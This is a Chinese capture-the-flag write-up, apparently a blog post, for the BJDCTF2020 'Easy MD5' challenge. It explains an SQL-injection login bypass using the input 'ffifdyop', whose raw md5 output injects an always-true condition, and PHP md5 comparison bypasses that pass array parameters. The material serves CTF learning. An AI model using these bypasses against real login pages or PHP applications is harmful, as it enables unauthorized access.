[BJDCTF2020]Easy MD5

前言

这个题的答案挺固定的,见过并且能想起来自己做过的,就肯定会做了。我以前刷题做过,有印象,翻翻笔记就回忆起来了。

过程

1、随便输入看回显。
在这里插入图片描述2、无回显,且源码也没啥。那就抓包吧。

在这里插入图片描述3、看来考点就是 md5($pass,true)绕过了。password=ffifdyop

原理

在这里插入图片描述

理解
让   password=ffifdyop 
则
select * from 'admin' where password=md5(ffifdyop,true)
select * from 'admin' where password='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
整理一下
select * from 'admin' where password=' or '6\xc9]\x99\xe9!r,\xf9\xedb\x1c
再整理一下(题目的提示感觉还是有点问题的,因为md5函数返回的是字符串,后端应该会用单引号/双引号包起来的,所以应该会拼接为这样子)
select * from 'admin' where password='' or '6]!r,b'
那么
select * from 'admin' where password='' or true    >>>   恒为真

4、看源码
在这里插入图片描述5、$a != $b && md5($a) == md5($b) ,用数组绕过,即?a[]=1&b[]=2
在这里插入图片描述
6、同5。不知道为啥,同一考点考两次???param1[]=&param2[]=2
在这里插入图片描述
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值